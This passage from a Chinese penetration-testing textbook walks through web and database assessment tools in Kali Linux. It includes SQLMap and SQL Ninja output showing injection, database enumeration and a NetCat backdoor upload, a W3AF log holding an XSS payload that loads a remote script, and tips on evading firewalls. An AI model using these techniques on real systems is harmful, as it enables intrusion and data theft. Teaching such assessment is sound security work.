Tested 12 passwords in 69.823 seconds (0.17186314tries/sec)
上面信息表明,该程序成功地发现了一个有效的用户账户。上述指令中,-d 选项代表目标数据库的名称,-D 选项用于指定相应的数据库管理系统(DBMS)。-U 选项指定用户名字典,-P选项则用来指定采用的密码字典。
2.SQLMap
SQLMap是一款先进的自动执行SQL注入的审计工具。针对指定的URL,它可以扫描、发现并利用SQL注入漏洞。目前,SQLMap支持的数据库管理系统包括MS-SQL、MySQL、Oracle和PostgreSQL。略微处理之后,它也能够识别诸如DB2、Informix、Sybase、Interbase和 MS Access 之类的数据库系统。SQLMap 采用4种独特的 SQL 注入技术,分別是SQL盲注、联合査询SQL注入、累加式注入(stacked query)和基于时间的SQL盲注入。它功能广泛,可对数据库进行指纹识别、服务枚举、数据提取,并可访问目标主机的文件系统,在获取完全操作权时甚至可以执行任意命令。此外,该工具还可以从Burp Proxy或Web Scarab的日志,以及标准的文本文件中解析测试目标的列表。它还能够调用Google dorks 的分类数据,使用Google搜索引擎搜索指定目标的可测试网址。
如需深入了解 Google dorks 的各种用法,请访问 Google HackingDatabase 的官方网址:http://www.hackersforcharity.org/ghdb/。
如需启动SQLMap 程序,可在桌面菜单里依次选中Kali Linux | Vulnerability Analysis |Database Assessment | sqlmap,或者在shell 中使用下述指令。
上述命令将显示所有可用的选项。这些选项可以分为11个逻辑分类,即目标规格、连接请求参数、注入payload、注入技术、指纹识别、枚举选项、用户自定义函数(UDF)注入、文件系统访问选项、操作系统访问选项、Windows 注册表访问和其他杂项。在下文的这个例子中,我们将使用多个指纹识别类选项和服务枚举类选项,获取被测数据库系统的特征信息。
...
[*] starting at: 11:21:43
[11:21:43] [INFO] using '/usr/share/sqlmap/output/testphp.example.com/session' as session file
[11:21:43] [INFO] testing connection to the target url
[11:21:45] [INFO] testing if the url is stable, wait a few seconds
[11:21:49] [INFO] url is stable
[11:21:49] [INFO] testing sql injection on GET parameter 'artist' with 0 parenthesis
[11:21:49] [INFO] testing unescaped numeric injection on GET parameter 'artist'
[11:21:51] [INFO] confirming unescaped numeric injection on GET parameter 'artist'
[11:21:53] [INFO] GET parameter 'artist' is unescaped numeric injectable with 0 parenthesis
[11:21:53] [INFO] testing for parenthesis on injectable parameter
[11:21:56] [INFO] the injectable parameter requires 0 parenthesis
[11:21:56] [INFO] testing MySQL
[11:21:57] [INFO] confirming MySQL
[11:21:59] [INFO] retrieved: 2
[11:22:11] [INFO] the back-end DBMS is MySQL
[11:22:11] [INFO] fetching banner
[11:22:11] [INFO] retrieved: 5.0.22-Debian_0ubuntu6.06.6-log
[11:27:36] [INFO] the back-end DBMS operating system is Linux Debian or Ubuntu
...
[11:28:00] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper Drake)
web application technology: Apache 2.0.55, PHP 5.1.2
back-end DBMS operating system: Linux Debian or Ubuntu
back-end DBMS: active fingerprint: MySQL >= 5.0.11 and < 5.0.38
comment injection fingerprint: MySQL 5.0.22
banner parsing fingerprint: MySQL 5.0.22, logging enabled
html error message fingerprint: MySQL
[11:31:49] [INFO] fetching banner
[11:31:49] [INFO] the back-end DBMS operating system is Linux Debian or Ubuntu
banner: '5.0.22-Debian_0ubuntu6.06.6-log'
[11:31:49] [INFO] fetching current user
[11:31:49] [INFO] retrieved: fanart@localhost
current user: 'fanart@localhost'
[11:34:47] [INFO] fetching current database
[11:34:47] [INFO] retrieved: fanart
current database: 'fanart'
[11:35:57] [INFO] fetching database users
[11:35:57] [INFO] fetching number of database users
[11:35:57] [INFO] retrieved: 1
[11:36:04] [INFO] retrieved: 'fanart'@'localhost'
database management system users [1]:
[*] 'fanart'@'localhost'
[11:39:56] [INFO] fetching database names
[11:39:56] [INFO] fetching number of databases
[11:39:56] [INFO] retrieved: 3
[11:40:05] [INFO] retrieved: information_schema
[11:43:18] [INFO] retrieved: fanart
[11:44:24] [INFO] retrieved: modrewriteShop
available databases [3]:
[*] fanart
[*] information_schema
[*] modrewriteShop
[11:47:05] [INFO] Fetched data logged to text files under '/usr/share/sqlmap/output/testphp.example.com'
...
这一时刻,我们成功地发现了artist参数存在注入问题。上述指令中,-p选项用来指定目标URL里需要测试的参数。默认情况下,SQLMap会扫描所有可用的参数(GET、POST、HTTPCookie和User-Agent),但是我们通过指定参数(-p"Parameter 1,Parameter 2")限制了测试对象的范围。这将提升SQL注入的速度,从而提高访问后台数据库的速度。在下面的测试中,我们使用--tables选项和-D选项,从数据库fanart中提取所有表的信息。
[*] starting at: 12:03:53
web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper Drake)
web application technology: Apache 2.0.55, PHP 5.1.2
back-end DBMS: MySQL 5
Database: fanart
[7 tables]
+------------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| users |
+------------+
上述信息表明,由于两次测试都使用了相同的 URL,SQLMap 程序使用了上次会话(session)中提取的指纹信息,并没有从头对数据库进行测试。这种功能可让用户随时终止并保存测试会话,以便在后续阶段继续此次会话。此处,我们还可以使用--dump或--dump all选项,对数据库信息进行自动存储。这个程序还有其他一些高级选项,例如--os-cmd、--os-shell 或--os-pw 用于可帮助渗透测试者获得远程访问系统权限,并执行任意命令。但是,此类功能仅支持MS-SQL、MySQL和PostgreSQL这三种运行于操作系统的数据库系统。如果还需要使用SQLMap的其他选项,可参考官方教程中的实例:http://sqlmap. sourceforge.net/doc/ README.html。
Metasploit框架可以支持SQLMap的哪些选项?
SQLMap的--ospwn选项、--os-smbrelay选项、--priv-sec选项和--msf-path选项,都是在数据库系统的操作系统上执行的指令选项。Metasploit可通过三种payload使用这些选项:shell、交互式命令环境和GUI访问(VNC)。
3.SQL Ninja
SQL Ninja 是一款SQL 注入的审计工具,专门用于评估后台数据库采用MS-SQL Server的Web应用程序。它可通过SQL注入漏洞获取远程数据库服务器的shell运行权限,而不是提取数据库数据的工具。SQL Ninja 的功能有:对服务器进行指纹识别、暴力破解密码、提升权限、上传后门、直接调用shell、反连方法连接shell(绕过防火墙的技术)、反射shell、DNS隧道、单命令执行等。它还可以与Metasploit进行集成。因此,它不仅是扫描SQL注入漏洞的工具,而且还是利用已知漏洞获取操作系统访问权限的工具。
SQL Ninja 不是初学者玩的玩具。如果您需要配置并使用这种工具,请详细阅读作者的使用说明,在实际应用前充分了解这款工具。
如需启动SQL Ninja,可在桌面菜单里依次选中Kali Linux | Vulnerability Analysis |Database Assessment | sqlninja,或者在shell 中使用下述指令。
上述指令将在屏幕上显示程序所有的可用选项。在进行测试前,需要根据已反映目标的情况更改配置文件的参数和利用漏洞的选项。首先,您要将样本配置文件解压缩出来,把它重新命名,然后移动到正确的目录中,进行如下修改。
然后,我们要修改配置文件,使其符合我们的测试内容。您需要在配置文件中找到下述内容,然后删除行首的注释符号,并根据实际情况对有关选项进行调整。
本文根据情况将配置文件的下述内容进行了调整。
...
host = testasp.example.com
port = 80
page = /showforum.asp
stringstart = id=0;
lhost = 192.168.0.3
msfpath = /usr/share/exploits/framework3
xp_name = xp_cmdshell
...
在上述配置文件中,我们仅修改了一些必要的参数,其他没有提及的内容均采用了默认值。另外,在使用SQL Ninja 之前,您还有必要使用其他工具检查SQL 注入的漏洞。在配置好配置文件之后,您就可以使用它的攻击模式-m t/test 对目标进行检测。
Sqlninja rel. 0.2.3
Copyright (C) 2006-2008 icesurfer?[email?protected]
[+] Parsing configuration file................
[+] Target is: testasp.targetdomain.com
[+] Trying to inject a 'waitfor delay'....
[+] Injection was successful! Let's rock !! :)
...
可见,程序成功地识别出了配置文件的各种设置,而且盲注测试取得了成功。接下来,我们可以对目标进行指纹识别,以获取SQLServer的更多信息,并取得目标操作系统的操作权限。
Sqlninja rel. 0.2.3
Copyright (C) 2006-2008 icesurfer?[email?protected]
[+] Parsing configuration file................
[+] Target is: testasp.example.com
What do you want to discover ?
0 - Database version (2000/2005)
1 - Database user
2 - Database user rights
3 - Whether xp_cmdshell is working
4 - Whether mixed or Windows-only authentication is used
a - All of the above
h - Print this menu
q - exit
a
[+] Checking SQL Server version...
Target: Microsoft SQL Server 2005
[+] Checking whether we are sysadmin...
No, we are not 'sa'.... :/
[+] Finding dbuser length...
Got it ! Length = 8
[+] Now going for the characters........
DB User is....: achcMiU9
[+] Checking whether user is member of sysadmin server role....
You are an administrator !
[+] Checking whether xp_cmdshell is available
xp_cmdshell seems to be available :)
Mixed authentication seems to be used
q
...
上述信息表明,目标系统存在漏洞,其指定的数据库安全策略并不够安全。我们有机会上传NetCat的后门程序,继而获取被攻陷主机的长期控制权,并可通过它的shell执行任意的指令。此时,人们常用Metasploit的攻击模式进行进一步的渗透。
Sqlninja rel. 0.2.3
Copyright (C) 2006-2008 icesurfer?[email?protected]
[+] Parsing configuration file................
[+] Target is: testasp.targetdomain.com
File to upload:
shortcuts: 1=scripts/nc.scr 2=scripts/dnstun.scr
1
[+] Uploading scripts/nc.scr debug script............
1540/1540 lines written
done !
[+] Converting script to executable... might take a while
[+] Completed: nc.exe is uploaded and available !
至此,我们巳经成功上传后门。然后我们可通过该后门获得 s/dirshell、k/backscan或r/revshell。此外,采用m/metasploit的髙级选项可以使用Metasploit 框架的SQLNinja封装程序访问目标主机的GUI。如需详细了解SQLNinja的使用方法或它的配置文件,请访问http://sqlninja.source?forge.net/sqlninja-howto.html。
本节介绍的工具主要关注Web基础设施前端程序的安全性。它们都可以识别、分析并利用应用程序的安全漏洞。这些漏洞包括缓冲区溢出、跨站脚本(XSS)、SQL 注入、SSI 注入、XML注入、应用配置错误、功能滥用、会话预测、信息泄露以及许多其他类型的漏洞。7.2节已经讨论过,应用程序漏洞有多种分类标准。如需更深入了解这些漏洞的特性,强烈建议读者掌握上述漏洞分类标准。
1.Burp Suite
Burp Suite组合了一系列功能强大的Web应用程序的安全工具。这些工具能够演示攻击人员对Web应用程序的渗透方法。它们能够或手动或自动地扫描、分析并利用Web应用程序的安全漏洞。Burp Suit将有关工具整合为一体,能够在多个工具之间传递和共享信息,成为了一个完整的攻击平台。这一特性使得Burp Suite成为了简单有效的Web应用程序攻击框架。
如需启动Burp Suit,可在桌面菜单里依次选中Kali Linux | Web Applications | Web Vulnerability Scanners | burpsuite,或在终端中使用下述指令。
上述指令将在屏幕上显示Burp Suite 的程序窗口。您可以通过对应的选项卡访问它所集成的全部工具(Target、Proxy、Spider、Scanner、Intruder、Repeater、Sequencer、Decoder和Comparer)。如需了解它们的用法和配置等详细信息,可以使用Help菜单或者访问http://www.portswigger.net/suite/help.html。本例将使用Burp?Suite的多个工具分析小型的Web 应用程序。要注意,Burp Suite 有两个版本:免费版和商业版。Kali Linux 收录的版本是它的免费版,因此有些功能受到限制。使用Burp Suite 检查SQL注入漏洞的相应步骤如下。
1. 首先,选择Proxy | Options,检查proxy listeners的属性。本例采用程序的默认设置,即监听 8080 端口。您还可以根据评估任务的实际情况设置这个界面的其他选项,例如主机重定向、SSL证书、客户端请求拦截、服务器响应拦截、页面属性和请求头修改等。
2. 选择Proxy | Intercept,选中intercept is on标签。
3. 打开你最习惯的浏览器(例如Firefox),并设置HTTP/HTTPS 协议的代理服务器为本地代理(127.0.0.1, 8080)。代理服务器能够拦截、检查并修改浏览器发往目标Web应用程序之间的客户端请求,并且能够记录服务器发回的所有响应。在这种设置中,Burp Suite 的功能类似中间人代理服务器。
4. 浏览目标网站(例如,http: //testphp.targetdomain.com),您可在Burp Suite 的Proxy | Intercept选项卡中看到浏览器发送的请求数据(http request)。在本例中,我们不对浏览器请求进行任何修改,直接转发这个请求。如需修改请求,可以在Raw、Headers或者Hex选项卡中修改。清注意,在访问索引页(index)等网页时,浏览器会对网页中的各种资源(例如图像、Flash文件)发送单独的获取请求。
5. 在此,强烈建议访问尽可能多的网页,以帮助Burp Suite列出可用页的GET和POST 请求。当然,也可以使用程序的 Spider 功能自动完成分析过程。如需使用 Spider的爬虫功能,可在菜单中选中 Target|Site Map,右键点击目标网址(本例是http://testphp.examples.com),然后选择spider?this host。此后,程序将会自动发现、扫描可用页面;当遇到需要递交数据的页面(例如登录)时,程序将提示您进行人工干预。此操作结束后,可在Target|Site map选项卡右侧的面板中査看可访问网页清单和页面属性(方法、URL、参数、响应码等)。
6. 您可选择一个采用GET或POST 模式传递参数的页面,用Intruder 进行测试。关键是要找到可能的参数标识符,获取有用数据,并对这些参数进行模糊测试,以检测已知漏洞。右键单击选定的请求,并选择 send to intruder。本例测试的网址是http://testphp.targetdomain.com/listproducts. php?artist=2;程序将以不同长度的字符替代2,以找到已知的漏洞。
7. 接下来,我们要指定攻击类型以及有效载荷(payload)的位置(Intruder | Positions),以进行自动测试。有效载荷的位置有§2§标识。然后,我们通过菜单进入 Intruder | Payloads,从预定义字符块列表中选择预定义的有效载荷(payload),本例选择Character blocks。当然,您还可以指定自定义的有效载荷。设置完毕后,选择菜单Intruder | Start 执行测试任务。此时,程序将会在弹出的窗口里显示测试目标应用程序时发送的全部请求。待程序处理完所有指定的有效载荷之后,我们可通过远程响应的比较结果判断Web应用程序的意外行为。使用鼠标右键点击选定的请求并选择send response to comparer,即可对响应进行比较。Burp Suite 可以对两个(或更多)的请求或响应进行逐字逐节(bytes和words)的比较。如需详细了解各种攻击类型,请访问?Burp Intruder payload positions - PortSwigger. html#attacktype;如需了解有关有效载荷选项的更多信息,请访问?Burp Suite documentation - PortSwigger?intruder_payloads_types.html。
8. 在比较响应的过程中,我们发现其中一个有效载荷请求存在 SQL 注入漏洞。为了验证其真实性,我们决定使用 Repeater 重现该请求。即使用鼠标右键点击该请求,然后选择 send request to repeater,之后单击 Repeater 选项卡中的 go 按钮,将会立即获取指定请求的远程响应。在本例中,我们注意到响应页面中的下述错误信息。
Error: Unknown column 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA' in 'where clause'
Warning : mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/default/htdocs/listproducts.php on line 74
9. 上述信息是SQL 注入漏洞的典型特征。除了检验这种类型的安全问题,我们还可以使用Burp Suite 的sequencer 测试应用程序session tokens的散化程度,检测session的可预测问题。有关sequencer的基本用法,请参见http://www.portswigger. net/suite/sequencerhelp.html。
Burp Suite 是款多功能的Web 应用程序安全工具。它是应用广泛、功能强大的Web应用程序攻击平台。篇幅所限,本文不逐一介绍它的各个功能。所以,我们强烈建议您通过它的官方网站(http://www.portswigger.net/)详细了解它的各种用法。
2.Nikto2
Nikto2是一款基础的Web服务器安全扫描工具。它可以扫描、检测由下述问题引起的的安全漏洞:服务器的配置不当问题、默认和不安全的文件、过旧的服务端应用程序。Nikto2程序完全是LibWhisker2的再开发版。因此,它支持跨平台部署、SSL、常见的主机身份验证方式(NTLM/Basic)、多代理,并采用了多种 IDS 规避技术。它还支持子域名枚举、应用程序安全检査(XSS、SQL注入等),并能够使用字典的攻击方法猜测认证信息。
如需启动Niklo2 程序,可在桌面菜单里依次选中Kali Linux | Web Applications | Web Vulnerability Scanners | nikto,或者在终端中使用下述指令。
上述指令将显示其所有选项及其扩展特性。在本例中,我们使用-T选项对目标主机执行一组特定的测试。有关各个选项的详细说明和使用方法,请访问?http://cirt.net/nikto2-docs/。
htm
V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_apache_expect_xss
V:Sat Sep 18 14:39:37 2013 - Loaded "Apache Expect XSS" plugin.
V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_apacheusers
V:Sat Sep 18 14:39:37 2013 - Loaded "Apache Users" plugin.
V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_cgi
V:Sat Sep 18 14:39:37 2013 - Loaded "CGI" plugin.
V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_core
V:Sat Sep 18 14:39:37 2013 - Initialising plugin nikto_dictionary_attack
...
V:Sat Sep 18 14:39:38 2013 - Checking for HTTP on port 10.2.87.158:80, using HEAD
V:Sat Sep 18 14:39:38 2013 - Opening reports
V:Sat Sep 18 14:39:38 2013 - Opening report for "Report as HTML" plugin
Target IP: 10.2.87.158
Target Hostname: testphp.example.com
Target Port: 80
Start Time: 2013-09-19 14:39:38
V:Sat Sep 18 14:39:40 2013 - 21 server checks loaded
V:Sat Sep 18 14:39:41 2013 - Testing error for file: /.g89xvYXD
...
V:Sat Sep 18 14:40:49 2013 - Running scan for "Server Messages" plugin
...
V:Sat Sep 18 14:41:04 2013 - 404 for GET: /tiki/tiki-install.php
V:Sat Sep 18 14:41:05 2013 - 404 for GET: /scripts/samples/details.idc
21 items checked: 15 item(s) reported on remote host
End Time: 2013-09-19 14:41:05 (87 seconds)
V:Sat Sep 18 14:41:05 2013 + 135 requests made
上述指令中,-T 选项指定测试类型为 Information Disclosure(信息泄露)、Injection (XSS/Script/HTML)、Remote File Retrieval(Server Wide)、Command Execution 和Software Identification(软件识別);-t 选项控制每个测试类型执行的超时时间:-DV 选项控制显示格式;-o和-F选项用于定义扫描报告以特定的格式和编写。Nikto还有其他的选项,例如-mutate(猜测子域、文件、目录、用户名)、-evasion(规避IDS检测)和-Single (单组规则测试模式),都可以用来进行更为深入的安全评估。
3.Paros Proxy
Paros Proxy 是一款名不见经传的深入分析安全漏洞的评估工具。它能以爬虫方式分析整个网站的网址,并执行各种漏洞测试。同时,审计人员还可以利用它的代理服务器功能拦截本机浏览器和目标应用程序服务器之间的Web流量(支持HTTP/HTTPS协议)。审计人员可以利用这种机制修改本机发往目标服务程序的特定请求,从而进行手工测试。因此, Paros Proxy不仅是Web 应用程序安全评估的主动评估工具,而且还是它的被动评估工具。
如需启动Paros Proxy程序,可在桌面菜单里依次选中Kali Linux | Web Applications |Web Application Proxies | Paros,或者在终端中使用下述指令。
上述指令将加载Paros Proxy程序的图形窗口。在开始测试前,你需要在浏览器中设置本地代理,即设置代理的 IP 为 127.0.0.1,端口为 8080。如需调整默认设置,可在菜单Tools | Options中调整连接设置、本地代理的设置、HTTP认证和其他相关设置。在设置好浏览器之后,就可以访问目标网页了。使用Paros Proxy进行漏洞测试的具体步骤如下。
1. 在本例中,我们访问http://testphp.targetdomain.com。此后,Paros?Proxy的Sites选项卡里显示这个网址。
2. 使用鼠标右键单击http://testphp.targetdomain.com?并选择Spider,以爬虫方式分析整个网站的网址。扫描网址的时间取决于网站的页面数量。
3. 在程序抓取完网址之后,您可通过底部的Spider 标签査看所有抓取到的网址信息。此外,也可以通过在Sites选项卡中选择特定网站的网页,以跟踪其请求和响应。
4. 您在右侧面板中的 Trap 选项卡中,调查特定的请求和响应的响应。在对目标应用程序进行手动测试时,这项功能尤其有用。此外,您可通过菜单 Tools | Manual Request Editor,手工构建一个HTTP请求。
5. 在 Sites 选项卡里选中目标网站,然后在菜单中选择 Analyze | Scan All,可对选定网站进行自动化的漏洞测试。另外,您还可以在 Analyze | Scan Policy 指定安全测试的特定类型,然后使用单独的 Analyze | Scan 功能进行特定类型的安全测试(而不是Scan All 进行的那种全面测试)。
6. 在程序完成漏洞测试之后,您可在底部的Alerts 选项卡中看到大量的安全警告。依照其危害程度,这些漏洞被分为High、Low和Medium三种级別。
7. 如需查看上次扫描结果的报告,可打开菜单Report | Last Scan Report。它将会把本此测试发现的所有漏洞保存为网页格式文件/root/paros/session/LatestScannedReport.htm。
在本例中,我们仅进行了基本的漏洞评估测试。如需获取Paros Proxy选项的详细说明,请访问其官方的用户手册,地址为?http://www.i-pi.com/Training/SecTesting/paros_user_guide.pdf。
4.W3AF
W3AF是一款功能丰富的Web应用程序攻击和审计框架,它主要用于探测和利用Web漏洞。它实现了全自动化的应用程序安全评估过程。整个框架的设计理念遵循了下述三个主要的操作步骤:识别、审计和攻击。在进行毎个操作步骤时,审计员都可使用其提供的注重特定测试标准的功能插件。W3AF 的这些插件实现了互相之间的通信和数据共享,有助于协同完成测试任务。它可检査、利用的Web应用程序漏洞包括SQL注入、跨站脚本、远程和本地文件包含、缓冲区溢出、XPath 注入、操作系统命令、错误的应用配置等。有关各个插件的详细信息,请查询http://w3af.sourceforge.net/plugin-descriptions.php。
如需启动 W3AF,可在桌面菜单中依次选中 Kali Linux | Web Applications | Web Vulnerability Scanners | w3af (Console),或在终端中使用下述指令。
上述命令将进入到W3AF特有的控制台模式(提示符为w3af>>>)。虽然在桌面菜单里也有这个程序的GUI版本,但是考虑到操作灵活性,我们倾向于使用它的控制台版本。
w3af>>> help
上述指令将显示配置w3af测试所需的基本选项。在需要查看帮助时,可随时使用help命令查看特定选项的说明信息。本例首先配置output 插件,然后启用特定的audit 测试选项,设置target并对目标网站进行扫描。相关指令如下。
w3af>>> plugins
w3af/plugins>>> help
w3af/plugins>>> output
w3af/plugins>>> output console, htmlFile
w3af/plugins>>> output config htmlFile
w3af/plugins/output/config:htmlFile>>> help
w3af/plugins/output/config:htmlFile>>> view
w3af/plugins/output/config:htmlFile>>> set verbose True
w3af/plugins/output/config:htmlFile>>> set fileName testreport.html
w3af/plugins/output/config:htmlFile>>> back
w3af/plugins>>> output config console
w3af/plugins/output/config:console>>> help
w3af/plugins/output/config:console>>> view
w3af/plugins/output/config:console>>> set verbose False
w3af/plugins/output/config:console>>> back
w3af/plugins>>> audit
w3af/plugins>>> audit htaccessMethods, osCommanding, sqli, xss
w3af/plugins>>> back
w3af>>> target
w3af/config:target>>> help
w3af/config:target>>> view
w3af/config:target>>> set target?http://testphp.example.com/
w3af/config:target>>> back
w3af>>>
我们通过上述指令调整好了各项参数。然后,我们将通过下述指令,评估目标的 SQL注入、跨站脚本、操作系统命令、htaccess错误配置等漏洞的安全问题。
w3af>>> start
Auto-enabling plugin: grep.error500
Auto-enabling plugin: grep.httpAuthDetect
Found 2 URLs and 2 different points of injection.
The list of URLs is:
The list of fuzzable requests is:
http://testphp.example.com/?| Method: GET
http://testphp.example.com/search.php?test=query|?Method: POST|Parameters:(searchFor="")
Starting sqli plugin execution.
Starting osCommanding plugin execution.
A possible OS Commanding was found at:
"http://testphp.example.com/search.php?test=query", using
HTTP method POST. The sent post-data was:
"searchFor=run+ping+-n+3+localhost&goButton=go".Please review manually.
This information was found in the request with id 22.
Starting xss plugin execution.
Cross Site Scripting was found at:
"http://testphp.example.com/search.php?test=query",
using HTTP method POST. The sent post-data was:
"searchFor=ScRIPt/SrC=http://x4Xp/x.js</ScRIPt>&goButton=go".
This vulnerability affects Internet Explorer 6,Internet Explorer 7,Netscape with IE rendering engine,Mozilla Firefox,Netscape with
Gecko rendering engine.
This vulnerability was found in the request with id 39.
Starting htaccessMethods plugin execution.
Finished scanning process.
上述信息表明,W3AF发现该Web应用程序存在多个严重的安全漏洞。我们已经在配置中指定好了测试报告的文件名,该文件位于/pentest/web/w3af/testreport. html。扫描报告会列出所有漏洞的全部细节,其中包括 W3AF 程序和目标 Web 应用程序之间每个请求信息、相应响应、所传递的数据以及调试信息等。本例没有使用别的的插件(plugins)、配置文件(profiles)和漏洞利用(exploit)选项。因此,本书强烈建议读者参考官方的用户指南,进行各种练习。官方手册的下载网址是?http://w3af. sourceforge.net/documentation/user/w3afUsersGuide.pdf。
5.WafW00f
WafW00f是检测Web应用程序防火墙(WAF)的Python脚本程序。在评估WAF保护的目标主机时,许多漏洞评估技术都难以奏效;而这正是WafW00f程序擅长的测试环境。部署于应用服务器和Internet流量之间的WAF防火墙,不仅提高了测试策略的难度,同时还使渗透测试人员开发的高级规避技术面临了新的挑战。
如需启动WafW00f程序,可在终端中使用下述指令。
上述指令将在显示器上显示简单的使用说明,以及几个典型的指令范例。本例中,我们将通过下述指令,分析目标网站是否使用WAF系统。
WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Checking?Example Domain
The site?Example Domain?is behind a dotDefender
Number of requests: 5
上述信息表明,目标应用程序服务器处于防火墙的保护之下(例如,dotDefender)。通过这些信息,我们可以进一步地调查规避WAF规则的方法。这可能涉及一些如HTTP参数污染、空字节替换、规范化处理、使用十六进制字符或Unicode字符对恶意URL进行编码等技术。
6.WebScarab
WebScarab 是一款功能强大的 Web 应用程序的安全评估工具。它有多种操作模式,主要模式为拦截代理。将WebScarab代理部署于终端用户浏览器和目标Web应用程序之间,可监控、修改二者之间的请求和回应。审计人员可以手动构造连接请求,然后检査目标Web应用程序返回的响应信息。WebScarab 集成了诸多工具,这些工具包括 fuzzer、session ID analysis、spider、web services analyzer、XSS 和 CRLF 漏洞扫描器和 transcoder等程序。
如需启动WebScarab Lite程序,可在桌面菜单里依次选中Kali Linux | WebApplications |Web Vulnerability Scanners | webscarab,或在终端中使用下述指令。
上述指令将执行精简版的 WebScarab。根据本例的需要,我们通过菜单 Tools | Use full-featured interface 令程序显示全部的功能选项。程序将询问您是否启用这项功能,然后会重启该应用程序。再次启动之后,WebScarab的界面上将新增很多工具的选项卡。在开始评估工作之前,我们应调整浏览器程序,使其使用本地代理服务器(127.0.0.1, 8080),以使得浏览器通过WebScarab 的拦截代理访问目标主机。另外,您可以在Proxy | Listeners选项卡中调整本地代理服务器的有关设置(IP地址或端口)。使用WebScarab程序分析目标应用程序的session ID 的步骤如下。
1. 设置好浏览器的代理服务器选项之后,您可使用浏览器访问目标网站(例如http://testphp.targetdomain.com/),并访问尽可能多的链接。浏览的页面越多,发现已知和未知漏洞的机会也就越大。除了这种方法,您还可在Summary选项卡中使用鼠标右键点击目标网站,然后选择Spider?tree;此后,程序将自动査找目标应用程序的所有可用链接。
2. 如果想检查特定页面的请求和响应数据,可单击底部的Summary标签。程序将表格的形式显示原始的和解析过的浏览器请求。此外,您还可以看到以 HTML、XML、TEXT和Hex格式显示的响应信息。
3. 在测试过程中,我们决定对目标应用程序链接中的某个参数(例如,artist=l)以 GET 请求进行模糊测试。这种测试有助于找到未被发现的漏洞。我们使用鼠标右键点击选定的链接,并选择Use as fuzz template。然后转到Fuzzer 选项卡,点击Parameters 附近的 Add 按钮,人工添加需要进行模糊测试的参数。在本例中,我们写了一个小型文本文件,这个文件含有已知的SQL 注入数据(例如,1 AND1=2、1AND1=1、单引号[’]),然后指定这个文本文件作为模糊测试的参数值。这种指定操作可通过Fuzzer选项卡下的Sources按钮完成。准备好模糊测试数据后,我们点击 Start 开始测试。所有测试完成后,可以双击单个请求以检査其相应的响应。我们在本例中发现了MySQL注入漏洞。
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 Warning: mysql_fetch_array():supplied argument is not a valid MySQL result resource in /var/www/vhosts/default/htdocs/listproducts.php on line 74
4. 最后,我们分析目标应用程序的session ID。我们选中Session ID Analysis选项卡,并在组合框中选中Previous Requests。等程序加载了特定请求之后,我们在底部设定采样次数(例如,20)。然后点击Fetch 按钮开始对session ID进行采样。之后,点击Test按钮对样本进行分析。而后,可在Analysis选项卡下看到分析结果。此外,我们可在 Visualization 选项卡屮看到相应的可视化分析。这种分析用于判断session ID 的杂化程度和不可预期性。上述指标如果不理想,就可能引发通过某session ID劫持他人session或获取他人认证信息的事故。
WebScarab 另有大量的选项和其他的功能,它们有助于我们提髙对渗透测试的认识。有关WebScarab 项目的更多信息,请访问http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project。
本章通过Kali Linux 中的多款工具,阐述了识别和分析关键安全漏洞的具体方法。有关篇幅介绍了安全漏洞的三大类型:设计类漏洞、实施类漏洞和运营类漏洞,以及安全漏洞的两大种类:本地漏洞和远程漏洞。然后,本文简要介绍了几种安全漏洞的分类标准。这些标准依据缺陷的普遍共性对漏洞进行了总结,是安全审计人员所遵循的分类标准。为了指导漏洞评估的具体工作,本文列举了几款结合自动检验技术和手动检验技术的评估工具,并依据其特定的审计技术对这些工具进行了分类。本章介绍的工具有 OpenVAS(集合了所有功能的评估工具)、Cisco分析工具、模糊分析工具、SMB分析工具、SNMP工具和Web应用程序安全评估工具。
下一章将讨论欺骗的艺术,即利用人性的弱点获取目标信息的各种方法。虽然并非每次评估工作都涉及这些工作,但在缺乏目标信息时有关技术就显得十分必要。